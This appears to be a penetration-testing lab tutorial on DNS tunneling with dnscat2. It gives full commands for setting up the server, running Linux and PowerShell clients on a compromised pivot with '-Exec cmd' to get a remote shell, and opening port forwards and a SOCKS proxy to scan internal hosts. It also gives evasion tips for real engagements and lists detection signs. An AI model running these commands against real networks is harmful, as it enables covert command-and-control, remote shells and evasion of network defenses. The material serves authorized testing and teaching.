When every other protocol is blocked, DNS almost always isn’t. Most networks let internal hosts resolve names — if only to the enterprise resolver, which then recurses to the internet. That recursion is the covert channel: queries for subdomains of a domain you control arrive at your authoritative DNS server, carrying encoded payload inside the subdomain labels.

The standard tool is dnscat2 — a C2 framework with built-in tunneling (local port forwards + SOCKS) over DNS.

Prerequisites

  • A domain you control with authority delegated to your attack host’s IP (NS records point at your public IP)
  • UDP 53 reachable to your attack host
  • Pivot can issue DNS queries (recursive or direct — dnscat2 supports both)

Test your authoritative setup before touching the pivot:

dig @8.8.8.8 test.inlanefreight.local
# Should return your attack host as the authoritative answer

Install

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
sudo gem install bundler
sudo bundle install

Ruby-based. If bundle install fights the system Ruby, use rvm or a container.

Start the Server

sudo ruby dnscat2.rb --dns host=<attacker-ip>,port=53,domain=inlanefreight.local --no-cache

Output includes a pre-shared secret — copy it:

Starting Dnscat2 DNS server on 10.10.14.18:53
[domains = inlanefreight.local]...

./dnscat --secret=0ec04a91cd1e963f8c03ca499d589d21 inlanefreight.local

Client on the Pivot

Two common client builds:

Linux Client

./dnscat --secret=<pre-shared-secret> inlanefreight.local

Windows PowerShell Client

# Transfer dnscat2.ps1 to the target (any file transfer method)
Import-Module .\dnscat2.ps1
 
# Start the tunnel
Start-Dnscat2 -DNSserver <attacker-ip> `
              -Domain inlanefreight.local `
              -PreSharedSecret <secret> `
              -Exec cmd

-Exec cmd gives you a shell on first connect. Without it, you get a passive session you can interact with later.

On the server you’ll see:

New window created: 1
Session 1 Security: ENCRYPTED AND VERIFIED!

Interacting with a Session

dnscat2> windows        # list sessions
dnscat2> window -i 1    # attach to session 1

C:\Windows\system32>

Ctrl+Z to detach, windows to list again.

Local Port Forward — listen

Map one attacker port directly to one internal IP/port on the far side.

dnscat2> listen 127.0.0.1:1234 192.168.1.50:80

Now from the attacker:

nmap -sV -Pn -p 1234 127.0.0.1
# dnscat2 translates to the real destination behind the scenes

Rigid — one tunnel per target port. Change destinations, change tunnels.

Dynamic Port Forward — socks

Turn the dnscat2 server into a SOCKS gateway, reaching any internal host/port.

dnscat2> socks 127.0.0.1:9050

/etc/proxychains.conf:

socks5  127.0.0.1 9050
proxychains nmap -sT -Pn -p 80,443,445 192.168.1.50

The Golden Rule — DNS Tunnels Are SLOW

DNS payloads are tiny (labels max 63 bytes, queries limited), and each TCP byte is encoded into A/CNAME/TXT queries and answered one at a time. Throughput is in the hundreds of bytes per second, not kilobytes.

  • Keep scans surgical — -p 80,443,445 only, not -p-
  • Always -Pn (no host discovery pings — SOCKS can’t carry raw ICMP, and ping storms blow the tunnel’s state)
  • Avoid full-content retrieval (don’t wget a 100 MB file through DNS)
  • Automated vuln scanners (Nessus, Nuclei) will instantly saturate the channel — don’t

If dnscat2 freezes, give it time before restarting — queries are in flight.

When DNS Tunneling Is Worth the Pain

  • Pivot has zero outbound TCP egress — only internal DNS resolution works
  • Everything else blocked, including HTTP/HTTPS and ICMP
  • You need C2 persistence under very strict network inspection

For “web proxy only” egress, prefer Chisel over HTTPS or rpivot through NTLM proxy — orders of magnitude faster.

Detection — Why Defenders Catch This

  • Abnormal volume of TXT/A/NULL queries to a single domain
  • Long randomized subdomains (q84ndu2j4.inlanefreight.local)
  • Non-cached queries (--no-cache on your side, but client caches may normally absorb duplicates)
  • Beaconing pattern — constant low-volume queries at fixed intervals even when “idle”

Modern DNS security products (Cisco Umbrella, Infoblox ADP) flag dnscat2 defaults within minutes. For real engagements, consider iodine or custom DNS covert channels, and randomize beacon intervals.

Alternatives

ToolNotes
iodineIPv4-over-DNS; needs a tun device on the client — Linux only
dns2tcpTCP-over-DNS for forwarding a specific service, simpler than dnscat2
dnscat2Full C2 + tunneling, best for SOCKS pivoting

If you only need a single TCP service forwarded (ssh -D style over DNS), dns2tcp is lighter. For multi-session interactive pivoting, dnscat2 wins.